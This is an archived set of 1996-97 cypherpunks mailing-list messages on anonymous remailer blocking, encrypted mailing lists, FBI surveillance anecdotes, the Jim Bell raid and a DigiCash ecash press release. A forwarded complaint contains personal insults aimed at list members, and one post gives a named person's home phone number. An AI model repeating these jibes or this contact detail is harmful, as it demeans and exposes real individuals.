]X-Prontosecureinfo:  T=signed, P=x-pgp
]
]-----BEGIN PGP SIGNED MESSAGE-----
]
]Mime-Version: 1.0
]Content-Type: text/plain
]Content-Transfer-Encoding: 7bit
]
]To: root@bwalk.dm.com, postmaster@bwalk.dm.com
]Date: Wed Oct 16 07:10:45 1996
]Can you folks somehow get Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> to quit
]sending anonymous messages to cypherpunks? I have killfiled him, but he
]sends things with subject headers like "RSA" through the anonymous remailers
]and it is impossible to killfile them and still get interesting anonymous
]messages.
]
]He is evidently angry at another subscriber, Tim May, for showing the list
]how much of a fool he was regarding economics in the past, but now he shows
]how much of a fool he is. Below is an example, the subject was RSA, and it
]could only have come from him, I assure you. [BTW, this is not a threat of
]legal action on my part against you, it's just that you are lowering your
]reputations by letting him continue spewing garbage, and now that even
]killfiling him hasn't worked, I am trying to convince you to talk to him and
]encourage him to please take his lithium regularly.]
]JMR
]
]- -----Begin Included Message -----
]
]Date: Tue, 15 Oct 1996 15:35:04 -0400 (EDT)
] From: amnesia@chardos.connix.com (Anonymous)
]To: cypherpunks@toad.com
]Cc:
]
]Timmy C. Mayflower was born when his mother was on the
]toilet.
]
]
]
]- ---- End of forwarded message ----
]One of the "legitimate concerns of law enforcement" seems to be
]that I was born innocent until proven guilty and not the other
]way around. -- me
]
]Defeat the Duopoly! Vote Harry & Jo http://www.HarryBrowne96.org/
]___________________________________________________________________
]PGP id.E9BD6D35 51 5D A2 C3 92 2C 56 BE  53 2D 9C A1 B3 50 C9 C8
]I will generate a new (and bigger) PGP key-pair on election night.
]<mailto:jmr@shopmiami.com> http://www.shopmiami.com/prs/jimray
]___________________________________________________________________
]
]-----BEGIN PGP SIGNATURE-----
]Version: 2.6.2
]
]iQCVAwUBMmTCum1lp8bpvW01AQHAugP/e/GTay0y778Ziy3JbWCGBb+tRxM8Q1Zi
]Z3aIP97hNYYoD7QKi9yP1gS3ZRbg/9ZXJonWTi+zmZ7yUjmWndczmXJ2IAC+Rgpx
]7MQmrhjU4htmiMCuawNmVLZRNZMl/+kNnX15taA8GdXTcuPXUsGN0y39oMbbqT5g
]do3B4yicgrY=
]=iix/
]-----END PGP SIGNATURE-----


Say, didn't this Mmmmm... Black Unicorn shmuck threaten to sue me
for saying someone's on lithium?? :-)

> >unless the remailer knows that the recipient took some positive
> >action to indicate that s/he has a clue (such as, added a key to a
> >keyserver), their anon mail should be immediately discarded and
> >they should instead get a note:
>
> That's an interesting approach - a bit extreme, but the main cypherpunks
> applications for anonymous remailers are things like whistleblowing
> (which can be posted to the net or emailed to people like Foo Inspectors
> who _ought_ to be willing to accept anonymous mail) and potential
> co-conspirators (who _ought_ to be willing to accept it if they're
> interested in co-conspiring), and of course yourself under various aliases.

If the maintenance of destination blocking/unblocking is divorced from
the remailer operators, then the whistleblower might be able to find
out whether the recipient accepts anon e-mail. Under the scheme I sort
of proposed, if I wanted to e-mail X, I might look up via the key servers
whether X accepts anon e-mail. If he doesn't, I ping him, knowing that
my ping will be discarded and instead he'll get a form letter telling
him how to enable receipt. I can check (say) the key servers a few days
later and see if he's ready to recieve anon e-mail; then I send the
real message.

Another advantage: there's no need to put the remailer's real address
in the form line.  Right now most operators say something like
"e-mail foo@bar and/or remailer-operators to be dest-blocked".
Under the scheme I'm not quite proposing yet, you can put any
junk in the from: (it's irrelevant!) and put the instructions
for dest-blocking via a 3rd party in a comment header.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: hi-tech ROT-13
In-Reply-To: <3.0.1.32.19970401232907.00634778@popd.ix.netcom.com>
Message-ID: <9Hkk5D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:
> At 05:37 PM 4/1/97 -0500, Andy Dustman wrote:
> >consider this a compromise between normal blocking (deliver unless told
> >otherwise) and middleman (get someone else to deliver it), which I would
> >sum up as: Ask permission before delivering the first time, and once
> >granted, deliver until told otherwise.
>
> An alternative approach is
> - ask before delivering _every_ time, unless
> - accept deliver-without-asking-again responses to cookies.
> This leaves the recipient the middle ground of
> granting permission for one message without granting it for all future
> messages, which is probably good for people unfamiliar with remailers.
> (Also, the permission-once == permission-always model doesn't stop
> spamming - a spammer can send a whole bunch of messages to the recipient,
> and if the recipient's response to the first "You have anon-mail" cookie is
> "That's interesting, let's see what it is", they get all the spam.)

I got a 60MB mailbomb the other day which didn't bother me a least bit.
That wasn't done via the remailers; it came via worldnet.att.net's open
smtp server. The initial form letter asking for permission should warn
about the possibility of their getting a large amount of crap. However
it's just as easy to get a throwaway account and mailbomb someone via
that.

I say: discard (don't keep) e-mail for folks who haven't explicitly
unblocked themselves;
treat "unblock" as "unblock everything and face the consequences".

Letting the user impose some sort of constraint on the size of the
e-mail being remailed is actually a dumb idea:
* any half-decent mail handler should do it on the user's side
* they can be mailbomed by a 1000 little messages


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 2 Apr 1997 22:33:03 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP-Domo...
In-Reply-To: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
Message-ID: <199704030045.AAA16111@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>, on 04/02/97 at
11:48 PM,
   harka@nycmetro.com said:


>On another mailing-list, there has been a lengthy discussion going on
>about encrypting the list-traffic or not.
>Although I personally agree, that encrypting a public mailing list is kind
>of useless I would like to know from a technical
>perspective if PGPdomo supports _both_ PGP and plain-text
>simultaneously on the same mailing list (if no public key
>available, send plain-text, otherwise encrypt).
>Also, considering the time it takes to encrypt/sign a message for each
>individual user (assuming they use pgp), isn't that too much overhead for
>the list-server, when we deal with a few hundred people and maybe traffic
>like on cypherpunks?

>Any experiences from PGP-Domo users/admins would be greatly
>appreciated.

I haven't used PGP-Domo but I have run a PGP mailing list using my own
software for OS/2.

You can cut down on some of the overhead by encrypting the message with
multiple keys but this increases messages size. If you have a large # of
subscribers you may wish to break up your encryption into blocks, say 25
keys per message. I think it will depend on your system on how may
subscribers & messages you could handle on a daily basis. Say a user base
of 1000 subscribers with 100 messages/day that's 100,000 encryptions per
day. While I think this would be doable on a PC you would have some
serrious lag. For a large subscription base I would go to a digest format.
This would cut down those 100 messages to say 5-10 digests. This would get
you to 5-10,000 encryptions which would be much more doable.

On the mailing list that I am running I only have 4-5 messages a day with a
user base of ~130 so volume has not been a problem. :)



-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 2 Apr 1997 21:43:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP-Domo...
Message-ID: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On another mailing-list, there has been a lengthy discussion going
on about encrypting the list-traffic or not.
Although I personally agree, that encrypting a public mailing list
is kind of useless I would like to know from a technical
perspective if PGPdomo supports _both_ PGP and plain-text
simultaneously on the same mailing list (if no public key
available, send plain-text, otherwise encrypt).
Also, considering the time it takes to encrypt/sign a message for
each individual user (assuming they use pgp), isn't that too much
overhead for the list-server, when we deal with a few hundred
people and maybe traffic like on cypherpunks?

Any experiences from PGP-Domo users/admins would be greatly
appreciated.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Microsoft - "Where do you want to crash today?"
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM0NCbTltEBIEF0MBAQFasAf+ODKv3pX/bCZy66coA9SCGaB2BUgWEPfv
n42WokKZY9HY/WrRLJ4vTtbiJs+p7i9vJA37VUy7I/vAZJ5fFQOHYCWS9g8Mpxtn
kOmDoIj7grfNXDEgYa91+Shv5xEJXo62bGnW+YlX7TNeb3buQj2H91ova4Jk3oci
sBKFSRLf5EDtOjBOBXcxy1V232k2wLoefSvVORWmjHtEyzCdstenCv4jjEf5LF+E
uIzBr7+MmzJPK49lM17izHTpBv/LALBvyD2lq1IfJl0psnfbFtL2SMJeOAVdkQe/
Hqn8qeNHpLwuvPTO/QZP85aMRnHCNVVJaeHJpLJnX3pMVrLjCOGC3g==
=7xD4
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Wed, 2 Apr 1997 22:36:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: BIG BROTHER (qoute without comment)
Message-ID: <199704030636.BAA12147@pig.die.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from A.Fullerton -----

anonymous wrote:

 I've got a little story I'd like to tell.
 There's been a thread in the scanner newsgroups lately about Radio
Shack
 giving their sales lists to the FBI. Now, I KNOW a lot of baloney
 circulates through the newsgroups. This particular thread is said to
 have started with the Richard Jewell Atlanta bombing case when the FBI
 investigated electronics parts purchases at Radio Shack. And, I don't
 break the law with my scanner, so I don't care who knows that I have
 one. But let me tell a story that happened about a month ago.
 I got up very early one morning and turned on my scanner and heard the
 police that serve the warrants ("We like to pick up everyone before
 breakfast" is a quote from a local warrant server). The dispatcher said
 that the FBI had located a friend of mine who was staying in a local
 Motel 6 and that there was a warrant for his arrest. He was picked up
 (it was a mistake) and when he asked how they knew he was there, they
 told him that Motel 6 gives their guest list to the FBI every day. I
 could not belive this! I told him that there was any number of ways
that
 they could have found him. But about a week ago, I heard one of the
 warrant servers say something about Motel 6 and their FBI arrangement.
I
 am absolutely appalled that this goes on. I don't appreciate the fact
 that if I stay at any motel, that an FBI agent might view my name on a
 guest list.
 It's nobody's business where I sleep (or buy a battery from an
 ill-informed salesman).
 Whew........I feel better.
 Thanks for allowing me to rant.
 I posted a similar post to the thread in the newsgroup (anonymously) so
 escuse me if you've already read this.
 Thanks,
 Andy Fullerton

----- End of forwarded message from A.Fullerton -----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 3 Apr 1997 01:01:13 -0800 (PST)
To: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Subject: Re: q.N2
In-Reply-To: <3342CF22.6181@mexred.net.mx>
Message-ID: <199704030313.DAA17299@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <3342CF22.6181@mexred.net.mx>, on 04/02/97 at 03:26 PM,
   nadeshda@mexred.net.mx (nadeshda vargas stepanenko) said:







>	To whom it may concern:

>	Thank you for answering my mail, it was very useful for me, but at the
>end you asked me why do I think legislation would be needed?

>	I have several opinions:

>	In one part I think that it is not necessary to legislate, because as
>you said you have to protect your privacy from the gobernent, I m agree
>of that, but I have other situations:

>	I m going to give you some examples:

Well these are some of the straw-men that get pulled out whenever the
Government wishes to clamp down on the rights & freedoms of it's citizens.
Whenever you here the buzz-phrases: "save the children" this means "take
away more of your rights" & "terrorist" means "anyone opposed to the
policies of the current administration". -- Translations form the "George
Orwell NewSpeak Dictionary published 1984."

>	1) I heard about several cases about individuals who use the Internet
>to attract children who are then raped and murdered, kidnapped and sold
>on the black market, many of these pediophiles work out in open in
>complete anonimaty, due to the structure of the Internet and many
>service providers.

The overwhelming cases of child abuse including pediophilia are not done by
strangers but by members of the childs family or those close to the family;
freinds, daycare workers, neighbors, cleargy, ...ect. Those with close
contact to the child on a regular basis. Any regulation on the Internet
would do nothing to prevent this. It would be just as easy to lure a child
by using the Postal system but you don't see anyone demanding that all
letters be written on postcards to they can be read.

>	2) And what about the terroists who use the Internet to comunicate with
>each other, gather information and funding establish methods,
>investigate methods of terrorism (how to make a bomb in your house using
>abono and household chemicals.  This is an area that should be strongly
>controlled, but the question is how do you do it without restricting the
>rights of the average citizen?

I can see no way of regulating such information. The basic information
required to make all kinds of nasty bombs & chemicals are taught in High
School chemistry classes. I guess we could ban all science and go back to
living in caves but that doen't see very practical now does it?

 " Those who would trade freedom for security deserve neither." -- Benjamin
Franklin.
 " When a government spends most of it's time and energy protecting itself
from it's own people it is doomed to fail" -- William H. Geiger III

-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 3 Apr 1997 03:43:40 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Raid on Jim Bell story may actually be real....
Message-ID: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke with Jim Bell last night at his home in Vancouver, WA,
and he confirmed the story.

He has not been arrested but his equipment has been
confiscated. No e-mail possible until he gets access to
other machinery.

He says he's surprised that it has taken so long for Sam
to respond.

He can be reached at 1-360-696-3911

Now this assumes that the person I spoke to is Jim Bell
and not the USG in AP clothing, and that the entire AP 
gambit is not a sting.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 3 Apr 1997 04:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto Sabots
Message-ID: <1.5.4.32.19970403120449.0074a6f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     American Banker, April 2, 1997:     

     Consortium Formed For Data Security 

     Carlisle, Pa.: The data encryption community has a new 
     advocacy group: the Cryptography Products Consortium. 

     Organized under the auspices of the National Computer
     Security Association, the consortium said it aims to "foster
     interoperability and transparency of cryptography products"
     and define and advance the common goals" of vendors and
     system integrators. 

     The charter members are many of the companies active in
     data security as it relates to electronic banking and
     commerce. They include the smart card manufacturers
     Gemplus and Schlumberger as well as BBN Corp., Cylink
     Corp., Pretty Good Privacy Inc., Rainbow Technologies Inc.,
     RSA Data Security Inc., Sterling Commerce, Trust
     Information Systems Inc., and V-One Corp. 

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <VP6k5D39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery <die@pig.die.com> writes:

>  There's been a thread in the scanner newsgroups lately about Radio
> Shack
>  giving their sales lists to the FBI. Now, I KNOW a lot of baloney
>  circulates through the newsgroups. This particular thread is said to
>  have started with the Richard Jewell Atlanta bombing case when the FBI
>  investigated electronics parts purchases at Radio Shack. And, I don't
>  break the law with my scanner, so I don't care who knows that I have
>  one. But let me tell a story that happened about a month ago.
>  I got up very early one morning and turned on my scanner and heard the
>  police that serve the warrants ("We like to pick up everyone before
>  breakfast" is a quote from a local warrant server). The dispatcher said
>  that the FBI had located a friend of mine who was staying in a local
>  Motel 6 and that there was a warrant for his arrest. He was picked up
>  (it was a mistake) and when he asked how they knew he was there, they
>  told him that Motel 6 gives their guest list to the FBI every day. I
>  could not belive this! I told him that there was any number of ways
> that
>  they could have found him. But about a week ago, I heard one of the
>  warrant servers say something about Motel 6 and their FBI arrangement.
> I
>  am absolutely appalled that this goes on. I don't appreciate the fact
>  that if I stay at any motel, that an FBI agent might view my name on a
>  guest list.
>  It's nobody's business where I sleep (or buy a battery from an
>  ill-informed salesman).
>  Whew........I feel better.
>  Thanks for allowing me to rant.
>  I posted a similar post to the thread in the newsgroup (anonymously) so
>  escuse me if you've already read this.

A couple of related items (neither one quite crypto-relevant).

I used to work with a guy (who no longer lives in the U.S. - lucky him :-)
who has a company building high-end custom electronic gear. (I used to
hack up the device drivers and other software for his hardware.) He used
to get regular visits from the LEAs asking for the lists of people who
bought certain kinds of eq from him. In particular, anyone who bought
eq capable of writing magentic strips on credit cards was immediately
closely scrutinized... Note that he didn't come to them - they came to him.

I also used to work in the publishing industry (one good thing about
consulting is that you learn a lot about different industries :-) and
I have little doubt that the FBI does take a look at people who buy
mail-order books from outfits like Aegean Press and Loompanics.

In New York City, the police regularly collect high school yearbooks and
add students' photographs to the collections they show crime victims,
hoping they'll identify a suspect.  This year one of the city's newspapers
published a memo from the police commissioner ordering cop to collect
yearbooks from each school. As the result *some* school principals are
announcing that they won't turn their yearbooks over to the cops unless
one of their students is a suspect in a concrete crime (and that's
probably the case in almost every school, causing every other student's
picture to go to NYPD; and in a few schools where there are no suspects,
they'll be able to get the yearbooks from the students.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Raid on Jim Bell story may actually be real....
In-Reply-To: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com>
Message-ID: <4k7k5D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> I spoke with Jim Bell last night at his home in Vancouver, WA,
> and he confirmed the story.
>
> He has not been arrested but his equipment has been
> confiscated. No e-mail possible until he gets access to
> other machinery.

Anybody wants to donate Jim Bell an old PC??

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP-Domo...
In-Reply-To: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
Message-ID: <mN7k5D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com writes:

> On another mailing-list, there has been a lengthy discussion going
> on about encrypting the list-traffic or not.
> Although I personally agree, that encrypting a public mailing list
> is kind of useless I would like to know from a technical
> perspective if PGPdomo supports _both_ PGP and plain-text
> simultaneously on the same mailing list (if no public key
> available, send plain-text, otherwise encrypt).
> Also, considering the time it takes to encrypt/sign a message for
> each individual user (assuming they use pgp), isn't that too much
> overhead for the list-server, when we deal with a few hundred
> people and maybe traffic like on cypherpunks?

It depends a lot on the traffic. If it's 100 messages a day, then it's
a few hundred times the traffic on a list with a couple of messages a week.
It also depends on the kind of box you're running it on (386? Sparc 20?).
So, if I were looking to cut down on the CPU time required and the traffic,
I'd do this:

1. ecnrypt with the keys of every recipient to send out one encrypted
messages that every recipient can decrypt.

2. consider using a daily digest (or digest every few hours).

Anyway, if you have more than a dozen people on the mailing list whom
you don't know personally, you should *assume* that at least one of them
is a narc and/or an asshole who'll decrypt it and pass it on to others.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 06:37:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: April Fool's joke? Jim Bell date mismatch
In-Reply-To: <199704012034.PAA00146@net.insp.irs.gov>
Message-ID: <Pine.GSO.3.95.970403093420.14894E-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out the dates. April 1 writing about an article in an April 2
newspaper?

-Declan


On Tue, 1 Apr 1997, IRS Inspection wrote:

> The Oregonian, Wednesday, April 2, 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 08:22:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hettinga rants Nationally at 8PM on the Talk America Radio Network
Message-ID: <v03020902af697bd16a26@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Kevin Miller, the same talk show host from Cleveland that I talked to
yesterday afternoon, is going to have me reprise yesterday's Cleveland rant
about e$, geodesic markets/societies, strong crypto, etc., on his First
Opinion radio show, at 8PM EST tonight, on the Talk America Radio Network.

Talk America's site is http://www.talkamerica.com, and it has an affiliate
station list (they're pretty much everywhere, but you have to look for
them) and program schedules for their two networks. I seem to be on Talk
America Network 1, which puts me in the company of such august luminaries
as Col. Bo Gritz. :-). I can see Vinnie grinning now, in his official
capacity as my Samoan Attorney. :-).

Talk America also seems to have an internet audio feed, but it uses a
non-RealAudio package called Xing. YMMV.

Finally, the call-in line during the show is  1-800-298-8255. I encourage
cypherpunks to call in, identify themselves as such, and straighten folks
out about the latest Clintonista crypto KRA outrage. Though, yesterday, I
core-dumped so much stuff that we got a total of 2 calls in edgewise. :-).
It was ever thus, it seems...

This one hour show makes me 45 minutes overdrawn on my Warholian 15 minute
fame allocation. Hope I can make the best of it.

Also, it may get worse. I committed on the air yesterday to come back once
a month or so, at least to Cleveland, and maybe nationally. The ganglia
twitch.

As they say, stay tuned...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Thu, 3 Apr 1997 07:28:42 -0800 (PST)
To: jim.burnes@ssds.com
Subject: Re: FC 97 and www.offshore.com.ai online
Message-ID: <Pine.LNX.3.95.970403112920.1517J-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




>Has anyone been able to reach www.offshore.com.ai for the last
>several weeks.

I think things have been working fine.  I have been getting
plenty of mail still.

The web site has been up too.

But I have not gotten any email from you. 

If you can not reach   vince@offshore.com.ai you can also
try  vac@cs.cmu.edu  or vince@c2.org.

    --  Vince







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Apr 1997 11:56:12 -0800 (PST)
To: "Jim Burnes" <cypherpunks@toad.com
Subject: Re: FC 97 and www.offshore.com.ai offline
Message-ID: <3.0.32.19970403112753.006d4188@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:46 PM 4/2/97 +0000, Jim Burnes wrote:
>Has anyone been able to reach www.offshore.com.ai for the last 
>several weeks.  I've been trying to follow up with some email to 
>Vince about getting my fellow FC '97 attendees' email addresses, but to
>no avail.
>
>If anyone on the list was at the conference, or has such a list I 
>would appreciate it.

You may want to ask Hirschfeld, the conference chair.

>BTW: hi to lucky green, eric blossom, vince and everyone that made FC 
>97 a wild adventure.

Hi back :-) It was fun, wasn't it?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 3 Apr 1997 12:15:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Bell raid
Message-ID: <3.0.1.32.19970403121619.007e3100@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A southern Washington newspaper, The Columbian (apparently published in
Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
its front page at http://www.columbian.com (you'll have to pick the frame for
"The latest Columbian headlines") - and today's page one above-the-fold
headline is "Affidavit: Internet essay solicits murder". 

It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
haven't seen him write anything that I thought was criminal. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0QP37Fh6pHCoCA5AQGqFAP/XajMlyEjtiDeYHYjHeL3B03TqCaCh6t4
kbCuPzoV2zsMIfSpoVcctHiorqYnMt2oemfHwfUT9cubnVwZYMzHZzsaqQjd+OqN
2z/Hnlo4vBFb73+lYWYPTqWydI0qAGZlDS9zbBwUNqP1eQL4rgEJxq6RzdfRcsqU
5MEWLzlfxZ4=
=rzdS
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 09:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: DigiCash press release
Message-ID: <v03020912af699794f001@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 4 Apr 1997 01:46:54 +1000 (EST)
From: Andreas Furche <afurche@cs.newcastle.edu.au>
To: e-payments@commerce.net
Subject: DigiCash press release
MIME-Version: 1.0
Sender: e-payments-owner@cs.newcastle.edu.au
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  e-payments@lists.commerce.net
+----------------------------------------------------------------------+

--------------------------- PRESS RELEASE ---------------------------
Release date:
April 2, 1997
Tokyo, Japan

     ===========================================================
     Nomura Research Institute licenses ecash(tm) technology for
              Japan's first true electronic money system
     ===========================================================

     Nomura Research Institute (NRI) and DigiCash today announced
that NRI will be the first company in Japan to license ecash(tm)
technology for the development of an electronic money payment system.

     NRI will use ecash(tm), denominated in Japanese yen, for a
unique intranet based system that will allow NRI employees,
departments, and associated companies to exchange value in real
time, without the need for smart cards, paper, or complex systems.

     Licensees of the ecash(tm) system include Mark Twain Bank
(USA), Deutsche Bank (Germany), Merita Bank/EUnet (Finland) and
Advance Bank (Australia).

     At the moment making transactions over the Internet or an
Intranet usually means sending credit card details over computer
networks, but credit card transactions are relatively expensive and
therefore are not efficient for low value purchases. Many smartcard-
based systems are also being developed, but they require that each
consumer installs special hardware.

     Many forms of "electronic cash" are competing for attention in
Japan, but the NRI project is unique, using a low cost, real-time
method of payment that is secure, easy-to-use, and which will meet
the future requirements of banks, and Government regulators.

     DigiCash's patented ecash(tm) system allows payment of amounts
as low as one yen, and all payments are made with the same
security technology currently used by large financial institutions to
protect large international money transfers.

     "This launch in Japan represents an important collaboration
between  the premier electronic cash company and the leading
electronic commerce innovator in a country that is growing rapidly
in Internet usage," said Dr. David Chaum, inventor of electronic
cash and founder of DigiCash.

     He  added "Internet users and corporations have come to
understand the unique ability of the ecash(tm) electronic cash system
to empower them, using their own computers, to protect their
own privacy. Leading banks, both in the region and globally,
are beginning to observe this and see the strategic importance
of operating their own electronic cash systems. We are thrilled to
have NRI as a partner as we pioneer the use of ecash(tm) in Japan".

       "A great deal of discussion on electronic money in Japan has
been focused on smartcard-based ones, such an example represented by
Mondex. However, we, Nomura Research Institute, Ltd., believe
network-based 'ecash' is equally important for the accelerated
development of cyberspace economy in Japan. Introducing 'ecash' to
the Japanese yen world, NRI will propose a new model of utilization
of ecash, that is, `ecash in INTRANET'", said Mr. Teruyasu Murakami,
Director of Advanced Social Systems Division, NRI.

     Ecash(tm) is the only Internet payment system that creates
actual electronic cash coins. This concept increases security and
reduces transaction costs. It gives increased control to the user
of the system and provides consumer privacy. Merchants will also
appreciate the ecash(tm) system, where payments are quickly
authenticated and their cash value is immediately deposited in the
bank, preventing disputes and delivery delays.

     This system gives a great opportunity to merchants selling low
cost goods, information and services online.

     Craig Welch, Director of DigiCash Pty Ltd said: "Japan is
growing so fast in the use of payment methods, that it was only a
matter of time before the use of ecash(tm) became essential. NRI have
proven to be the ideal partner to make this technology a practical
implementation in Japan."


Contact DigiCash bv               Contact Nomura Research Institute,
(Amsterdam):                      Ltd. (Tokyo) :
Mr. Robert Zipplies               Mr. Naohiko Araki
Ph:  +31 20 592 9999              Ph: +81 3 5255 1981
Fax: +31 20 665 1126              Fax: +81 3 5255 9312
email: press@digicash.com         email: kouhou@nri.co.jp
http://www.digicash.com/          http://www.nri.co.jp

